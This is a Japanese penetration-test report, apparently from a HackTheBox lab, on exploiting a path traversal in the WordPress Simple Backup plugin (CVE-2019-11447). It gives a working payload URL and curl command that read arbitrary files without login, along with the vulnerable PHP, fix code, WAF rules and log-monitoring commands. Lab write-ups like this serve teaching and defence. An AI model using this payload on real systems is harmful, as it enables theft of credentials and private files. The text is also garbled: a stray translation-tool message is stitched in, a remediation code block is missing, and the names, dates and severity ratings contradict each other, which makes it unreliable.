
WordPress Simple Backup プラグインにおける未認証のパストラバーサル(CVE-2019-11447)を実証する詳細なペネトレーションテストレポート。攻撃手順、影響分析、および修復ガイダンスを含みます。
| 項目 | 詳細 |
|---|
| ドキュメントタイトル | ペネトレーションテストレポート - WordPress パストラバーサル |
| クライアント/試験 | HackTheBox ラボ - CPTS 演習 1 |
| 日付 | 2026年8月22日 |
| 評価者 | Cyberia (ペネトレーションテスター) |
| 評価タイプ | グレーボックス (外部、認証情報なし) |
| ラボ環境 | 154.57.164.73:30706 |
| ラボ所要時間 | 1時間 |
| 目的 | 制限されたファイルを取得するために脆弱性を特定し、悪用する |
| 取得フラグ | HTB{my_f1r57_h4ck} |
154.57.164.73:30706 でホストされている Web アプリケーションに対するこのペネトレーション評価では、認証されていない攻撃者がサーバーのファイルシステムから任意のファイルをダウンロードして読み取ることを可能にする重大な脆弱性が特定されました。
この脆弱性のある WordPress インストールには、認証や許可を必要とせずに不正なファイルアクセスを可能にするパストラバーサル脆弱性 (CVE-2019-11447) を抱えた古いプラグイン (Simple Backup v2.7.10) が含まれています。
この脆弱性は、サーバールートから /flag.txt ファイルを取得するために悪用に成功し、機密性の完全な侵害が確認されました。このアクセス権を持つ攻撃者は、以下を行う可能性があります:
wp-config.php、.env) を抽出するデータセキュリティ、プライバシー法令順守 (GDPR、HIPAA、PCI-DSS)、およびシステムの完全性に極めて重大なリスクをもたらすため、この脆弱性を直ちに是正するための重大な対応が必要です。
| 深刻度 | 件数 | ビジネス影響 |
|---|---|---|
| 🔴 CRITICAL | 1 | 機密性の完全な侵害; 不正なファイルアクセス |
| 🟠 HIGH | 0 | — |
| 🟡 MEDIUM | 0 | — |
| 🟢 LOW | 0 | — |
| ℹ️ INFORMATIONAL | 1 | 古いソフトウェアのバージョンが検出されました |
評価タイプ: グレーボックス (外部の攻撃者、認証情報なし、ネットワークアクセスあり)
評価日: 2026年8月22日
テストアプローチ: 業界標準のペネトレーションテストフレームワーク (PTES) に従った、非回避的かつ体系的な評価:
CVE-2019-11447 | CWE-22: パス名の制限付きディレクトリへの不適切な制限
WordPress プラグイン Simple Backup (バージョン 2.7.10/2.7.11、Exploit-DB 39883) には、管理画面の "Backup Manager" ページにパストラバーサル脆弱性が存在します。このプラグインは、download_backup_file GET パラメータを通じて供給されるファイルパスのサニタイズに失敗するため、攻撃者は相対パスシーケンス (../) を使用して意図された simple-backup/ ディレクトリの外に移動し、Web サーバープロセスが読み取り可能な任意のファイル (ファイルシステムのルートにあるファイルを含む) をダウンロードできます。
脆弱性のあるエンドポイント:``` GET /wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt
`page=backup_manager` はリクエストをプラグインの管理ページハンドラにルーティングします。`download_backup_file` はプラグインのコードが直接読み取り、検証なしにファイルシステムパスへ連結するパラメータであり、ディレクトリトラバーサルを許容します。
---
### CVSS v3.1 スコア
**7.5 - HIGH** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
- **攻撃ベクトル (AV):** ネットワーク
- **攻撃の複雑さ (AC):** 低
- **必要な特権 (PR):** なし
- **ユーザー操作 (UI):** なし
- **スコープ (S):** 変更なし
- **機密性 (C):** 高
- **完全性 (I):** なし
- **可用性 (A):** なし
---
### ビジネスへの影響
**機密性の侵害:** ⚠️ CRITICAL
攻撃者は、Webサーバーがアクセス可能な任意のファイルを読み取ることができます。例:
| ファイル | 影響 | リスクレベル |
|------|--------|------------|
| `/wp-config.php` | データベース認証情報、ソルト、キー | 🔴 CRITICAL |
| `/.env` | APIキー、シークレット、設定 | 🔴 CRITICAL |
| `/etc/passwd` | ユーザー列挙、システムマッピング | 🟠 HIGH |
| SSHキー (`.ssh/id_rsa`) | 横展開、システムアクセス | 🔴 CRITICAL |
| `/proc/self/environ` | 実行中アプリケーションのシークレット | 🟠 HIGH |
| ユーザーアップロードディレクトリ | プライベートファイル、メディア | 🟠 HIGH |
**規制上の影響:**
- **GDPR違反:** ユーザーデータへの不正アクセス
- **HIPAA違反:** 保護された健康情報の露出
- **PCI-DSS違反:** クレジットカードデータまたは支払い情報へのアクセス
- **SOC 2違反:** 機密性要件の違反
---
### 脆弱なコードパターン
Exploit-DBアドバイザリ(39883.txt、`searchsploit -x` で参照 — [ht4-poc.png](https://github.com/capivara-research/wordpress-path-traversal-cve-2019-11447/blob/HEAD/images/ht4-poc.png) を参照)は、`simple-backup-manager.php` のプラグインの **delete** プリミティブを文書化しています:```php
if(array_key_exists('delete_backup_file', $_GET)){
$this->delete_local_backup_file($_GET['delete_backup_file']);
}
The input for chunk 5 is empty — no content was provided to translate. Please re-send the chunk text.```php $bk_dir = ABSPATH."simple-backup/"; unlink($bk_dir . $filename);
`$filename` は `$_GET['delete_backup_file']` から直接取得され、`basename()` やパス包含チェックは一切行われません。`../pizza.txt` を渡すと、`$bk_dir . $filename` は `.../simple-backup/../pizza.txt` → `.../pizza.txt` に解決され、意図されたバックアップフォルダの外に出てしまいます。
実際にこのエンゲージメントで悪用された**ダウンロード**プリミティブ(`download_backup_file`)は、同じプラグイン内でまったく同じサニタイズされていない連結パターンに従いますが、ファイルを削除する代わりにリクエスタにファイルを返します。これにより、ファイルシステムルートから `/flag.txt` を取得できました(`ABSPATH/simple-backup/` から `../` を10回)。
**問題点:**
- `basename()` を使用してディレクトリ要素を除去していない
- 許可ファイルのホワイトリストがない
- `realpath()` が `ABSPATH."simple-backup/"` 内に留まることを検証していない
- ユーザー入力をファイルパスに直接連結している
- ファイルを提供する前に `current_user_can()` / 認証チェックがない — ハンドラはプラグインのロード時に実行され、WordPress 自身の `wp-admin` 認証ゲートより前に動作するため、**ログインしていなくても**到達可能です
---
### 概念実証
#### **フェーズ 1: 初期アクセス — アプリケーション特定**
ブラウザ経由でターゲットに直接接続しました(`http://154.57.164.73:30706/`)。WordPress インストールのタイトルは **"GETTING STARTED"** で、ホームページの公開ブログ投稿には、プラグイン名とバージョンがプレーンテキストで正確に開示されています:**"Simple Backup Plugin 2.7.10 for WordPress"** — 脆弱なコンポーネントを特定するために列挙ツールは不要でした。

#### **フェーズ 2: サービスフィンガープリンティング**```bash
whatweb http://154.57.164.73:30706/
結果: Apache/2.4.41 (Ubuntu Linux)、WordPress 5.6.1 が MetaGenerator および WordPress プラグインのシグネチャによって確認されました。

searchsploit simple backup wordpress
**結果:**```
Exploit Title | Path
------------------------------------------------------------------------------
WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities | php/webapps/39883.txt

完全なアドバイザリを読んで、正確な脆弱性パラメータとコードパスを理解する:```bash searchsploit -x php/webapps/39883.txt
このアドバイザリは、`delete_backup_file` パラメータを介した認証不要の **任意のファイル削除** について文書化しており、`simple-backup/` 配下のバックアップファイル(また、同じ無害化されていないコードパスを介して、`download_backup_file` による任意のファイル)が認証なしで取得できることに言及しています。

#### **フェーズ 4: 悪用 — `download_backup_file` を介したパストラバーサル**
プラグインの管理ページのルーティングから特定された脆弱なエンドポイント:```
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=
エクスプロイトペイロード (ABSPATH/simple-backup/ からファイルシステムルートまで遡るための10× ../):```
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt
**GUI (この評価で使用):** ペイロードURLはブラウザのアドレスバーに直接入力してナビゲートしました。ログインは不要でした — ブラウザは解決された `flag.txt` の自動ダウンロードを開始しました。

**ヘッドレス相当:**```bash
curl -s "http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt" -o flag.txt
cat flag.txt
取得したフラグ: HTB{my_f1r57_h4ck}
この脆弱性が成立する理由は次のとおりです。
$_GET['download_backup_file'] がホワイトリストと照合されないrealpath() を使用してファイルが simple-backup/ 内に留まることを確認していない../) がフィルタリングされないABSPATH."simple-backup/" に直接連結されるwp-admin 認証ゲートより前に動作するため、ログアウト中でも到達可能current_user_can() チェックがなく、リクエスト者が要求したファイルにアクセスできるかどうか確認されない攻撃フロー:``` User Input: ../../../../../../../../../../flag.txt ↓ No Validation (FAILURE POINT) ↓ Concatenated: ABSPATH/simple-backup/../../../../../../../../../../flag.txt ↓ Resolves to: /flag.txt (accessible!) ↓ Plugin serves file contents with web server permissions ↓ Browser downloads flag.txt to attacker's machine
---
### 影響の検証
✅ **機密性の侵害:** Webサーバープロセスが読み取り可能なファイルはすべてアクセス可能
✅ **認証不要:** 未認証のユーザーが悪用可能
✅ **ユーザー操作不要:** 直接のHTTPリクエストによる悪用
✅ **再現性と信頼性:** すべての脆弱性のあるバージョンで動作
✅ **重要なビジネスデータが危険にさらされる:** 設定ファイル、認証情報、ユーザーデータが公開される
---
## 修復策
### **オプション1: 入力ホワイトリスト(推奨)**
事前に定義されたファイルリストからのみダウンロードを許可します:```php
<?php
// Define allowed backup files
$allowed_files = array(
'backup_2024_01_15.zip',
'backup_2024_01_16.zip',
'backup_2024_01_17.zip',
);
$requested_file = $_GET['download_backup_file'];
// Validate against whitelist
if (!in_array($requested_file, $allowed_files)) {
die("File not found or access denied");
}
// Use basename() as double protection
$file = basename($requested_file);
$filepath = ABSPATH . "simple-backup/" . $file;
// Verify file exists and is readable
if (!file_exists($filepath) || !is_readable($filepath)) {
die("File not found");
}
readfile($filepath);
?>
利点:
realpath() を使用してパスを正規化し、包含関係を検証します:```php
**利点:**
- シンボリックリンクと複雑なパスを処理します
- 包含を自動的に検証します
- ホワイトリストより柔軟
---
### **オプション 3: ファイル名のみに basename() を使用する**
ファイル名のコンポーネントのみを抽出します:```php
<?php
$user_input = $_GET['download_backup_file'];
// Remove all directory components
$file = basename($user_input);
// Build safe path
$filepath = ABSPATH . "simple-backup/" . $file;
// Verify file exists
if (!file_exists($filepath)) {
die("File not found");
}
readfile($filepath);
?>
利点:
注記: この方法は、すべての正当なファイルがサブディレクトリのない単一ディレクトリにある場合にのみ機能します。
Webアプリケーションファイアウォール(WAF)ルール:```
ModSecurity Rule: SecRule ARGS:download_backup_file "@rx ../" "id:1000,phase:2,block,msg:'Path Traversal Attempt'" SecRule ARGS:download_backup_file "@rx %2e%2e%2f" "id:1001,phase:2,block,msg:'Encoded Path Traversal'"
**ファイルシステムの権限:**```bash
# Restrict web server access to necessary directories only
chmod 750 /var/www/html/wp-content/plugins/
chmod 750 /var/www/html/wp-content/simple-backup/
# Remove sensitive files from web root
rm -f /var/www/html/.env
mv /var/www/html/wp-config.php /var/www/wp-config.php
# Use chroot/jailing for web server
# Set PHP open_basedir to restrict file access
php_admin_value[open_basedir] = /var/www/html/uploads
アクセスログと監視:```bash
tail -f /var/log/apache2/access.log | grep ".." tail -f /var/log/apache2/access.log | grep "%2e%2e"
**更新管理:**
1. Simple Backupプラグインを無効化または削除する
2. セキュリティ監査済みの承認されたバックアップソリューションをインストールする
3. WordPressを最新バージョンに更新する
4. すべてのプラグインを最新バージョンに更新する
5. PHPをセキュリティパッチ適用済みの8.0+に更新する
---
## 攻撃チェーン```
┌─────────────────────────────────────────────────────────────┐
│ 1. INITIAL ACCESS │
│ └─ Browse to 154.57.164.73:30706 │
│ └─ WordPress "GETTING STARTED" site identified │
│ └─ Homepage blog post discloses: Simple Backup Plugin 2.7.10│
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 2. ENUMERATION │
│ └─ whatweb confirms Apache 2.4.41, WordPress 5.6.1 │
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 3. VULNERABILITY RESEARCH │
│ └─ searchsploit → 39883.txt (Simple Backup 2.7.11 vulns) │
│ └─ searchsploit -x → read PoC, identify unsanitized │
│ delete_backup_file / download_backup_file parameters │
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 4. EXPLOITATION │
│ └─ Endpoint: /wp-admin/tools.php?page=backup_manager │
│ └─ Payload: download_backup_file=../..(x10)../flag.txt │
│ └─ Browser navigates to payload URL (no login required) │
│ └─ Plugin resolves path to /flag.txt and serves it │
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 5. SUCCESS │
│ └─ Flag Retrieved: HTB{my_f1r57_h4ck} │
│ └─ Confidentiality Breached │
│ └─ Unauthenticated arbitrary file read confirmed │
└─────────────────────────────────────────────────────────────┘
WordPress の Simple Backup プラグインには、認証されていない攻撃者がサーバー上の任意のファイルをダウンロードして読み取ることを可能にする、重大なパストラバーサル(Path Traversal)の脆弱性が存在します。この脆弱性は、Web ルートから機密ファイルを取得するために実際に悪用されました。
リスクレベル: 🔴 クリティカル
| 優先度 | アクション | 期限 | 担当 |
|---|---|---|---|
| 🔴 P0 | Simple Backup プラグインを無効化・削除 | 直ちに | セキュリティ/運用 |
| 🔴 P0 | ホワイトリスト方式のファイル検証を実装 | 今週中 | 開発 |
| 🟠 P1 | パストラバーサルをブロックする WAF ルールを展開 | 今週中 | 運用 |
| 🟠 P1 | サーバーの不正アクセスログを監査 | 今週中 | セキュリティ |
| 🟠 P1 | 漏えいしたすべての認証情報(DB、SSH、API)をローテーション | 今週中 | 運用 |
| 🟡 P2 | WordPress コアと全プラグインを更新 | 今週中 | 運用 |
| 🟡 P2 | ファイル整合性監視を実装 | 次のスプリント | セキュリティ |
| 🟡 P2 | 他のプラグインの完全なセキュリティ監査を実施 | 次のスプリント | セキュリティ |
調査結果: WordPress サイト「GETTING STARTED」は、ブログ投稿でインストール済みプラグインとバージョンを公開しています — 「Simple Backup Plugin 2.7.10 for WordPress」
調査結果: Apache/2.4.41 (Ubuntu Linux) および WordPress 5.6.1 を確認
調査結果: 「WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities」(php/webapps/39883.txt)
調査結果: アドバイザリには、delete_backup_file を介した認証なしの任意ファイル削除が記載されています。同じサニタイズされていないコードパスが download_backup_file にも適用されます。
調査結果: tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt にアクセスすると、認証なしで flag.txt のダウンロードが発生します: HTB{my_f1r57_h4ck}
CVE-2019-11447 — Simple Backup のパストラバーサル
CWE-22 — 制限付きディレクトリへのパス名の不適切な制限('Path Traversal')
CVSS v3.1 スコア: 7.5(高)
OWASP Top 10 - A01:2021 アクセス制御の不備(Broken Access Control)
OWASP パストラバーサル(Path Traversal)
PortSwigger Web Security Academy - パストラバーサル(Path Traversal)
SearchSploit — Exploit Database 検索
NMAP — ネットワークマッパー
WhatWeb — Web フィンガープリンティングツール
本レポートは、適切な許可を得て、定義された範囲内で実施されたペネトレーションテストを文書化したものです。
| 項目 | 値 |
|---|---|
| レポートの状態 | ✅ 完了 |
| 調査結果の検証 | ✅ はい |
| 推奨事項の実行可能性 | ✅ はい |
| 機密性 | 🔒 高 |
| 配布範囲 | 許可された担当者のみに制限 |
評価者: Capivara Root(ペネトレーションテスター)
日付: 2026年8月11日
署名: デジタルレポート - 物理的な署名は不要
© 2026 ペネトレーションテスト評価 | 機密